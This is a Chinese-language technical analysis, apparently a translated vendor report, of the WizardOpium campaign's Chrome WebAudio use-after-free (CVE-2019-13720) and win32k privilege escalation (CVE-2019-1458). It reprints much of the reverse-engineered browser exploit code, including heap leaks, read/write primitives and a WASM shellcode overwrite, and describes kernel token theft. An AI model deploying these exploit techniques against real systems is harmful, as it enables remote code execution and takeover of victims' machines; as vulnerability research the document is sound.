分析WizardOpium行动中使用的0day(CVE-2019-13720、CVE-2019-1458)

 

0x00 绪论

2019年10月份,我们在一个跟朝鲜有关的新闻网站上检测到了经典的水坑攻击,攻击链同时利用了Google Chrome和Microsoft Windows的0day。我们之前发布过文章(文1文1翻译文2),简单描述了这次行动,在本文中我们将对攻击中使用的漏洞进行深入的技术剖析。

 

0x01 Google Chrome远程代码执行漏洞

在之前的文章中,我们描述了利用代码加载器,它负责对目标进行初始验证,并执行下一阶段中包含完整浏览器漏洞利用的JavaScript代码。利用代码很庞大,因为除了代码本身,其中还含有携带着shellcode、PE文件,以及后续阶段要用的WebAssembly模块的一些字节数组。Exploit利用了WebAudio OfflineAudioContext接口中的漏洞,且针对Google Chrome的两个release版本:76.0.3809.87、77.0.3865.75。不过,漏洞早在之前很久就存在了,带有WebAudio组件的很早的版本都受到影响。我们发现漏洞时,Google Chrome的最新版是78,虽然这个版本也受影响,但是利用代码并不支持它,而且代码里做了多次检查来保证只运行在受影响的版本上,防止出现崩溃。我们报告漏洞后,漏洞被分配编号CVE-2019-13720,随着这条commit,漏洞在78.0.3904.87版中修复了。这是个释放后重用(UAF)漏洞,可由Render(渲染)线程和Audio(音频)线程的竞争条件触发:

   if (!buffer) {
+    BaseAudioContext::GraphAutoLocker context_locker(Context());
+    MutexLocker locker(process_lock_);
     reverb_.reset();
     shared_buffer_ = nullptr;
     return;

如你所见,当ConvolverNode中音频缓冲区被设为null,且Reverb对象里已经有一个活跃的缓冲区时,SetBuffer()函数可能破坏reverb_和shared_buffer_对象。

class MODULES_EXPORT ConvolverHandler final : public AudioHandler {
...
  std::unique_ptr<Reverb> reverb_;
  std::unique_ptr<SharedAudioBuffer> shared_buffer_;
...

这些对象可能还在被Render线程使用,因为代码中未在两线程间进行应有的同步。补丁在缓冲区被置null之前加上了锁(图形锁和进程锁)。

利用代码被混淆了,但我们还是成功进行了逆向,揭示其中所有小细节。查看代码时,我们看出漏洞利用的作者对Google Chrome组件(尤其是PartitionAlloc内存分配器)的内部知识非常了解,从下面的逆向代码片段中可以清楚地看出这一点。这些函数在漏洞利用程序中用于从分配器的内部结构中检索有用的信息,包括:SuperPage地址、通过SuperPage内部索引获取的PartitionPage地址、使用的PartitionPage的索引以及PartitionPage元数据的地址。所有常量均来自partition_alloc_constants.h

function getSuperPageBase(addr) {
    let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
    let superPageBaseMask = ~superPageOffsetMask;
    let superPageBase = addr & superPageBaseMask;
    return superPageBase;
}

function getPartitionPageBaseWithinSuperPage(addr, partitionPageIndex) {
    let superPageBase = getSuperPageBase(addr);
    let partitionPageBase = partitionPageIndex << BigInt(14);
    let finalAddr = superPageBase + partitionPageBase;
    return finalAddr;
}

function getPartitionPageIndex(addr) {
    let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
    let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
    return partitionPageIndex;
}

function getMetadataAreaBaseFromPartitionSuperPage(addr) {
    let superPageBase = getSuperPageBase(addr);
    let systemPageSize = BigInt(0x1000);
    return superPageBase + systemPageSize;
}

function getPartitionPageMetadataArea(addr) {
    let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
    let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
    let pageMetadataSize = BigInt(0x20);
    let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
    return partitionPageMetadataPtr;
}

有趣的是,利用代码还使用了相对较新的内置BigInt类来处理64位的值,而在漏洞利用中,攻击者一般会使用的是自己的原语。

一开始,代码先初始化OfflineAudioContext,并创建大量的IIRFilterNode对象,用两个浮点数组初始化之。

let gcPreventer = [];
let iirFilters = [];

function initialSetup() {
    let audioCtx = new OfflineAudioContext(1, 20, 3000);

    let feedForward = new Float64Array(2);
    let feedback = new Float64Array(1);

    feedback[0] = 1;
    feedForward[0] = 0;
    feedForward[1] = -1;

    for (let i = 0; i < 256; i++)
        iirFilters.push(audioCtx.createIIRFilter(feedForward, feedback));
}

之后,利用代码就进入了利用的初始阶段,试图触发UAF漏洞。利用代码先创建Reverb组件所需的一些对象:再次创建一个巨大的OfflineAudioContext对象和两个ConvolverNode对象,分别是ScriptProcessorNode和AudioBuffer,前者用来启动音频处理,后者用于声道。

async function triggerUaF(doneCb) {
    let audioCtx = new OfflineAudioContext(2, 0x400000, 48000);
    let bufferSource = audioCtx.createBufferSource();
    let convolver = audioCtx.createConvolver();
    let scriptNode = audioCtx.createScriptProcessor(0x4000, 1, 1);
    let channelBuffer = audioCtx.createBuffer(1, 1, 48000);

    convolver.buffer = channelBuffer;
    bufferSource.buffer = channelBuffer;

    bufferSource.loop = true;
    bufferSource.loopStart = 0;
    bufferSource.loopEnd = 1;

    channelBuffer.getChannelData(0).fill(0);

    bufferSource.connect(convolver);
    convolver.connect(scriptNode);
    scriptNode.connect(audioCtx.destination);

    bufferSource.start();

    let finished = false;

    scriptNode.onaudioprocess = function(evt) {
            let channelDataArray = new Uint32Array(evt.inputBuffer.getChannelData(0).buffer);

            for (let j = 0; j < channelDataArray.length; j++) {
                if (j + 1 < channelDataArray.length && channelDataArray[j] != 0 && channelDataArray[j + 1] != 0) {
                        let u64Array = new BigUint64Array(1);
                        let u32Array = new Uint32Array(u64Array.buffer);
                        u32Array[0] = channelDataArray[j + 0];
                        u32Array[1] = channelDataArray[j + 1];

                        let leakedAddr = byteSwapBigInt(u64Array[0]);
                        if (leakedAddr >> BigInt(32) > BigInt(0x8000))
                            leakedAddr -= BigInt(0x800000000000);
                         let superPageBase = getSuperPageBase(leakedAddr);

                         if (superPageBase > BigInt(0xFFFFFFFF) && superPageBase < BigInt(0xFFFFFFFFFFFF)) {
                            finished = true;
                            evt = null;

                            bufferSource.disconnect();
                            scriptNode.disconnect();
                            convolver.disconnect();

                            setTimeout(function() {
                                 doneCb(leakedAddr);
                            }, 1);

                            return;
                        }
                }
            }
    };

    audioCtx.startRendering().then(function(buffer) {
            buffer = null;

            if (!finished) {
                 finished = true;
                 triggerUaF(doneCb);
            }
    });

    while (!finished) {
            convolver.buffer = null;
            convolver.buffer = channelBuffer;
            await later(100); // 等待100毫秒
    }
};

这个函数是递归执行的。它用0填充声道缓冲区,开始离线渲染,同时执行循环以使ConvolverNode对象的声道缓冲区置为null并重置,并试图触发bug。利用代码通过later()函数模拟Sleep函数,挂起当前线程,使Render和Audio线程按时完成执行:

function later(delay) {
    return new Promise(resolve => setTimeout(resolve, delay));
}

执行期间,利用代码会检查声道缓冲区是否包含与之前设置的0不同的数据,如果有这样的数据就说明成功触发了UAF,且目前声道缓冲区里应该包含一个泄露的指针。

PartitionAlloc内存分配器有一种特殊的漏洞利用缓解措施,其工作原理如下:释放内存区域时,它将字节交换(byteswaps)指针的地址,然后将字节交换后的地址添加到FreeList结构中。这会增加漏洞利用的难度,因为尝试解引用此类指针将导致进程崩溃。为了绕过该技术,利用代码使用了以下原语,将指针交换回来:

function byteSwapBigInt(x) {
    let result = BigInt(0);
    let tmp = x;

    for (let i = 0; i < 8; i++) {
            result = result << BigInt(8);
            result += tmp & BigInt(0xFF);
            tmp = tmp >> BigInt(8);
    }

    return result;
}

利用代码通过泄漏的指针来获取SuperPage结构体的地址并加以验证。如果一切顺利,那么该指针应该是指向ReverbConvolverStage类的temporary_buffer_对象的裸指针,该指针将传递给回调函数initialUAFCallback。

let sharedAudioCtx;
let iirFilterFeedforwardAllocationPtr;

function initialUAFCallback(addr) {
    sharedAudioCtx = new OfflineAudioContext(1, 1, 3000);

    let partitionPageIndexDelta = undefined;
    switch (majorVersion) {
            case 77: // 77.0.3865.75
                 partitionPageIndexDelta = BigInt(-26);
            break;
            case 76: // 76.0.3809.87
                 partitionPageIndexDelta = BigInt(-25);
                 break;
    }

    iirFilterFeedforwardAllocationPtr = getPartitionPageBaseWithinSuperPage(addr, getPartitionPageIndex(addr) + partitionPageIndexDelta) + BigInt(0xFF0);

    triggerSecondUAF(byteSwapBigInt(iirFilterFeedforwardAllocationPtr), finalUAFCallback);
}

利用代码通过泄漏的指针来获取一个裸指针的地址,该裸指针指向AudioArray <double>类型的feedforward_数组,该数组位于IIRFilterNode创建的IIRProcessor对象中。该数组应该位于同一SuperPage中,但是在不同版本的Chrome里,此对象是在不同的PartitionPages中创建的,并且initialUAFCallback中有专门的代码来处理。

该漏洞实际上不是一次触发,而是两次触发。获取正确对象的地址后,该漏洞将再次被利用。这次利用使用了两个大小不同的AudioBuffer对象,并且先前获取到的地址被喷射到较大的AudioBuffer内部。此函数还递归执行。

let floatArray = new Float32Array(10);
let audioBufferArray1 = [];
let audioBufferArray2 = [];
let imageDataArray = [];

async function triggerSecondUAF(addr, doneCb) {
    let counter = 0;
    let numChannels = 1;

    let audioCtx = new OfflineAudioContext(1, 0x100000, 48000);

    let bufferSource = audioCtx.createBufferSource();
    let convolver = audioCtx.createConvolver();

    let bigAudioBuffer = audioCtx.createBuffer(numChannels, 0x100, 48000);
    let smallAudioBuffer = audioCtx.createBuffer(numChannels, 0x2, 48000);

    smallAudioBuffer.getChannelData(0).fill(0);

    for (let i = 0; i < numChannels; i++) {
            let channelDataArray = new BigUint64Array(bigAudioBuffer.getChannelData(i).buffer);
            channelDataArray[0] = addr;
    }

    bufferSource.buffer = bigAudioBuffer;
    convolver.buffer = smallAudioBuffer;

    bufferSource.loop = true;
    bufferSource.loopStart = 0;
    bufferSource.loopEnd = 1;

    bufferSource.connect(convolver);
    convolver.connect(audioCtx.destination);

    bufferSource.start();

    let finished = false;

         audioCtx.startRendering().then(function(buffer) {
             buffer = null;

            if (finished) {
                audioCtx = null;

                setTimeout(doneCb, 200);
                return;
            } else {
                finished = true;

                setTimeout(function() {
                     triggerSecondUAF(addr, doneCb);
                }, 1);
            }
    });

    while (!finished) {
            counter++;

            convolver.buffer = null;

            await later(1); // 等待1毫秒

            if (finished)
                 break;

            for (let i = 0; i < iirFilters.length; i++) {
                floatArray.fill(0);
                 iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);

                 if (floatArray[0] != 3.1415927410125732) {
                         finished = true;

                              audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));
                         audioBufferArray2.push(audioCtx.createBuffer(1, 1, 10000));

                        bufferSource.disconnect();
                        convolver.disconnect();

                        return;
                }
            }

            convolver.buffer = smallAudioBuffer;

            await later(1); // 等待1毫秒
    }
}

这次,利用代码通过函数getFrequencyResponse()来检查漏洞利用是否成功。该函数创建一个由奈奎斯特滤波器填充的频率数组,并且该操作的源数组用0填充。

void IIRDSPKernel::GetFrequencyResponse(int n_frequencies,
                                        const float* frequency_hz,
                                        float* mag_response,
                                        float* phase_response) {
...
  Vector<float> frequency(n_frequencies);
  double nyquist = this->Nyquist();
  // 将以Hz为单位的频率归一化到(0->1)
  // 1就等于奈奎斯特频率
  for (int k = 0; k < n_frequencies; ++k)
    frequency[k] = frequency_hz[k] / nyquist;
...

如果结果数组包含非π的值,则表示利用成功。如果成功,利用代码将停止递归并执行函数finalUAFCallback以再次分配声道缓冲区并重新占有以前释放的内存。该函数还通过分配大小不同的各种对象并对堆进行碎片整理来修复堆,以防止可能发生的崩溃。利用代码还会创建BigUint64Array,稍后用于创建任意读/写原语。

async function finalUAFCallback() {
    for (let i = 0; i < 256; i++) {
            floatArray.fill(0);

             iirFilters[i].getFrequencyResponse(floatArray, floatArray, floatArray);

            if (floatArray[0] != 3.1415927410125732) {
                await collectGargabe();

                audioBufferArray2 = [];

                for (let j = 0; j < 80; j++)
                         audioBufferArray1.push(sharedAudioCtx.createBuffer(1, 2, 10000));

                iirFilters = new Array(1);
                     await collectGargabe();

                for (let j = 0; j < 336; j++)
                        imageDataArray.push(new ImageData(1, 2));
                imageDataArray = new Array(10);
                await collectGargabe();

                for (let j = 0; j < audioBufferArray1.length; j++) {
                        let auxArray = new BigUint64Array(audioBufferArray1[j].getChannelData(0).buffer);
                        if (auxArray[0] != BigInt(0)) {
                            kickPayload(auxArray);
                            return;
                        }
                     }

                return;
            }
    }
}

通过多次调用临时创建的collectGarbage函数来执行堆碎片整理,该函数在循环中创建了一个巨大的ArrayBuffer。

function collectGargabe() {
    let promise = new Promise(function(cb) {
            let arg;
            for (let i = 0; i < 400; i++)
                new ArrayBuffer(1024 * 1024 * 60).buffer;
            cb(arg);
    });
    return promise;
}

完成这些步骤后,利用代码将执行函数kickPayload(),传入先前创建的BigUint64Array,其中包含先前释放的AudioArray数据的裸指针地址。

async function kickPayload(auxArray) {
    let audioCtx = new OfflineAudioContext(1, 1, 3000);
    let partitionPagePtr = getPartitionPageMetadataArea(byteSwapBigInt(auxArray[0]));
    auxArray[0] = byteSwapBigInt(partitionPagePtr);
    let i = 0;
    do {
            gcPreventer.push(new ArrayBuffer(8));
            if (++i > 0x100000)
                return;
    } while (auxArray[0] != BigInt(0));
    let freelist = new BigUint64Array(new ArrayBuffer(8));
    gcPreventer.push(freelist);
    ...

利用代码会操纵已释放对象的PartitionPage元数据来达到以下行为。如果将另一个对象的地址写入到BigUint64Array的索引0处,并且创建了一个新的8字节对象并且将位于索引0处的值读回来,那么将读到的是位于先前设置的地址处的值。如果在此阶段在索引0处写入内容,那么该值将被写入先前设置的地址。

function read64(rwHelper, addr) {
    rwHelper[0] = addr;
    var tmp = new BigUint64Array;
    tmp.buffer;
    gcPreventer.push(tmp);
    return byteSwapBigInt(rwHelper[0]);
}

function write64(rwHelper, addr, value) {
    rwHelper[0] = addr;
    var tmp = new BigUint64Array(1);
    tmp.buffer;
    tmp[0] = value;
    gcPreventer.push(tmp);
}

构建任意读/写原语后,进入最后阶段——执行代码。为此,该漏洞利用代码使用了一种流行的利用Web Assembly(WASM)功能的技术。 Google Chrome目前为JIT编译代码分配具有读/写/执行(RWX)特权的页面,可用shellcode覆盖之。首先,该利用代码会启动一个“虚设”WASM模块,这将导致为JIT编译代码分配内存页面。

const wasmBuffer = new Uint8Array([...]);
const wasmBlob = new Blob([wasmBuffer], {
    type: "application/wasm"
});

const wasmUrl = URL.createObjectURL(wasmBlob);
var wasmFuncA = undefined;
WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {
    wasmFuncA = result.instance.exports.a;
});

为了执行导出函数wasmFuncA,利用代码创建一个FileReader对象。当使用数据初始化此对象时,它将在内部创建FileReaderLoader对象。如果可以解析PartitionAlloc分配器结构并得知将要分配的下一个对象的大小,则可以预测它将分配到哪个地址。该利用代码通过已得知的大小调用getPartitionPageFreeListHeadEntryBySlotSize()函数,并获取将由FileReaderLoader分配的下一个空闲块的地址。

let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
    return;

fileReader.readAsArrayBuffer(new Blob([]));

let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
    return;

该利用代码两次获取该地址,以判断是否创建了FileReaderLoader对象,以及利用代码是否可以继续执行。利用代码将导出的WASM函数设置为一个FileReader事件的回调(在本例中为onerror回调),并且由于FileReader类型是从EventTargetWithInlineData派生的,因此可以用来获取其所有事件的地址和JIT编译导出的WASM函数的地址。

fileReader.onerror = wasmFuncA;

let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);

let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));

let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);

let stubAddrFieldOffset = undefined;
switch (majorVersion) {
    case 77:
            stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
    break;
    case 76:
            stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
    break
}

let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);

变量stubAddr包含页面的地址,该地址带有跳转到JIT编译的WASM函数的stub(存根)代码。在此阶段,用shellcode覆盖它就够了。为此,利用代码再次使用函数getPartitionPageFreeListHeadEntEntBySlotSize()来查找下一个0x20字节的空闲块,这也是ArrayBuffer对象的结构大小。当漏洞利用创建新的音频缓冲区时,此对象就被创建。

let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
    return;

let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);

该漏洞利用任意读/写原语来获取DataHolder类的地址,该类包含指向数据和音频缓冲区大小的裸指针。利用代码用stubAddr覆盖此指针,并设置了一个很大的大小。

let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));

write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

现在,所需要做的就是将Uint8Array对象植入此音频缓冲区的内存中,然后将shellcode以及将由shellcode执行的PE文件放入其中。

let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
payloadArray.set(shellcode, 0);
payloadArray.set(peBinary, shellcode.length);

为防止崩溃,利用代码会清除指向PartitionPage使用的FreeList结构顶部的指针。

write64(freelist, partitionPagePtr, BigInt(0));

现在,要执行shellcode,只需调用导出的WASM函数即可。

try {
    wasmFuncA();
} catch (e) {}

 

0x02 Microsoft Windows提权漏洞

这份shellcode似乎是利用代码里那个PE模块的反射PE加载器。该模块主要包含通过利用Windows内核组件win32k提升特权来逃逸Google Chrome沙盒的代码,它还负责下载和执行实际的恶意软件。通过仔细分析,我们发现被利用的漏洞实际上是0day漏洞。我们通知了微软安全响应中心,他们将其分配为CVE-2019-1458并修复了该漏洞。win32k组件算是臭名远扬了,自Windows NT 4.0以来,它就已经存在,据微软称,全部内核安全漏洞的50%以上都是它导致的。卡巴斯基仅在过去的两年中就发现了五个利用Win32k漏洞的0day活动。考虑到自Windows 10发行以来,微软已经实施了许多缓解措施,旨在使Win32k漏洞的利用复杂化,而大多数我们发现的0day漏洞都是针对Windows 10 RS4之前的版本,因此这是一个非常有趣的统计数字。WizardOpium行动中使用的特权提升漏洞支持Windows 7、Windows 10 build 10240和Windows 10 build 14393。同样值得注意的是,Google Chrome浏览器具有一项称为Win32k锁定的特殊安全功能。此安全功能通过禁止从Chrome进程内部访问win32k系统调用,以消除整个win32k攻击面。不幸的是,Win32k锁定仅支持Windows 10。因此,可以肯定地说WizardOpium行动仅针对运行Windows 7的用户。

CVE-2019-1458是一个任意指针解引用漏洞。在win32k中,Window(窗口)对象由tagWND结构表示。也有许多基于此结构的类:ScrollBar,Menu,Listbox,Switch等。tagWND结构的FNID字段用于区分类的类型。不同的类在tagWND结构中还附加各种额外数据。这些额外的数据其实就只是一些不同的结构体,通常包含着内核指针。除此之外,在win32k组件中还有一个系统调用SetWindowLongPtr,可用于设置此额外数据(当然要经过验证)。值得注意的是,SetWindowLongPtr过去与许多漏洞有关(例如CVE-2010-2744,CVE-2016-7255和CVE-2019-0859)。预先初始化的额外数据可能导致系统函数的错误处理,这是一个常见的问题。在CVE-2019-1458中,由SetWindowLongPtr执行的验证是不够的。

xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)
    ...
    if ( (int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A] - sizeof(tagWND) )
        ...
        extraData = (BYTE*)tagWND + sizeof(tagWND) + index
        old = *(QWORD*)extraData;
        *(QWORD*)extraData = data;
        return old;

检查index参数可以避免此bug,但是在补丁发布之前,mpFnid_serverCBWndProc表中FNID_DESKTOP,FNID_SWITCH,FNID_TOOLTIPS的值都是未初始化的,该检查毫无用处,而且还导致额外数据中的内核指针可以被覆盖。

触发该bug非常简单:首先,创建一个Window(窗口),然后就可以使用NtUserMessageCall调用任何系统类窗口过程。

gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);

提供正确的message和dwType参数很重要。message必须等于WM_CREATE。dwType通过以下计算在内部转换为fnIndex:(dwType + 6) & 0x1F。该漏洞利用使用的dwType为0xE0。结果是fnIndex等于6,它是xxxSwitchWndProc的函数索引,并且WM_CREATE消息将FNID字段设置为FNID_SWITCH。

LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
...
  pti = *(tagTHREADINFO **)&gptiCurrent;
  if ( wnd->fnid != FNID_SWITCH )
  {
    if ( wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_serverCBWndProc[6] )
      return 0i64;
    if ( msg != 1 )
      return xxxDefWindowProc(wnd, msg, wParam, lParam);
    if ( wnd[1].head.h )
      return 0i64;
    wnd->fnid = FNID_SWITCH;
  }
  switch ( msg )
  {
    case WM_CREATE:
      zzzSetCursor(wnd->pcls->spcur, pti, 0i64);
      break;
    case WM_CLOSE:
      xxxSetWindowPos(wnd, 0, 0);
      xxxCancelCoolSwitch();
      break;
    case WM_ERASEBKGND:
    case WM_FULLSCREEN:
      pti->ptl = (_TL *)&pti->ptl;
      ++wnd->head.cLockObj;
      xxxPaintSwitchWindow(wnd, pti, 0i64);
      ThreadUnlock1();
      return 0i64;
  }
  return xxxDefWindowProc(wnd, msg, wParam, lParam);
}

然后,可以使用NtUserSetWindowLongPtr中的漏洞覆盖索引0处的额外数据,该数据恰好是指向包含Switch Window(切换窗口)信息的结构的指针。换句话说,该漏洞使我们得以设置任意内核指针,设置的指针都将被视为此结构。

到此阶段,再次调用NtUserMessageCall就够了,但这一次的消息等于WM_ERASEBKGND。这将导致执行xxxPaintSwitchWindow函数,该函数递增和递减我们先前设置的指针所定位的几个整数。

sub     [rdi+60h], ebx
add     [rdi+68h], ebx
...
sub     [rdi+5Ch], ecx
add     [rdi+64h], ecx

触发可利用代码路径的重要条件是需要按下ALT键。

利用是通过滥用Bitmap(位图)来实现的。为了成功利用,需要将一些Bitmap彼此相邻分配,并且需要知道其内核地址。为了实现这一目标,该漏洞利用了两种常见的内核ASLR绕过技术。对于Windows 7和Windows 10 build 10240(Threshold 1),Bitmap内核地址是通过GdiSharedHandleTable技术泄漏的:在旧版本的系统中,用户层有一个特殊的表,其中包含存在于进程中的所有GDI对象的内核地址。这个技术已在Windows 10 build 14393(Redstone 1)中进行了修复,因此对于此版本,此漏洞利用了另一种滥用Accelerator Tables(快捷键表)的常见技术(在Redstone 2中进行了修复):创建一个Create Accelerator Table对象,从用户层的gSharedInfo句柄表中泄漏其内核地址,然后释放Accelerator Table对象并分配一个Bitmap,以重用相同的内存地址。

整个利用过程如下:利用代码创建三个彼此相邻的Bitmap,并泄露其地址,准备Switch Window,并使用NtUserSetWindowLongPtr中的漏洞将指向第一个Bitmap末尾的地址设置为Switch Window的额外数据。Bitmap由SURFOBJ结构表示,并且需要精心计算先前设置的地址,使xxxPaintSwitchWindow函数将与第一个Bitmap相邻的SURFOBJ结构的sizlBitmap字段递增。 sizlBitmap字段指示像素数据缓冲区的边界,递增的值将使我们可以使用SetBitmapBits()函数执行越界写并覆盖第三个对象的SURFOBJ。

SURFOBJ结构的pvScan0字段是像素数据缓冲区的地址,因此只要我们可以用任意指针覆盖它,就可以通过函数GetBitmapBits()/SetBitmapBits()来产生任意读/写原语。该漏洞利用这些原语来解析EPROCESS结构并窃取系统令牌。为了获得EPROCESS结构的内核地址,利用程序使用了EnumDeviceDrivers函数。该函数工作方式与MSDN描述一致,会提供当前加载的驱动程序的内核地址列表。列表中的第一个地址是ntkrnl的地址,为了获取EPROCESS结构的偏移量,漏洞利用程序分析可执行文件以搜索导出的PsInitialSystemProcess变量。

值得注意的是,该技术仍适用于最新版本的Windows(已在Windows 10 19H1 build 18362测试通过)。窃取系统令牌是大多数特权提升漏洞中最常见的漏洞利用后使用的技术。在获得系统特权后,漏洞利用程序将下载并执行实际的恶意软件。

 

0x03 总结

对于我们来说,研究这个Chrome漏洞特别有趣,因为它是一段时间以来我们首个遇到的Google Chrome在野0day攻击。有趣的是,它与特权提升漏洞利用结合使用,而该提权漏洞在最新版本的Windows上无法利用,这是由于Google Chrome实现了Win32k锁定安全功能。关于特权提升,有趣的是在补丁发布仅一周后,我们又发现对该漏洞的1day利用,这表明利用此漏洞非常简单。

我们要感谢Google Chrome和微软安全团队如此迅速地修复了这些漏洞。Google慷慨地为CVE-2019-13720提供了赏金。奖励已捐赠给慈善机构,Google则进行了配捐。

(完)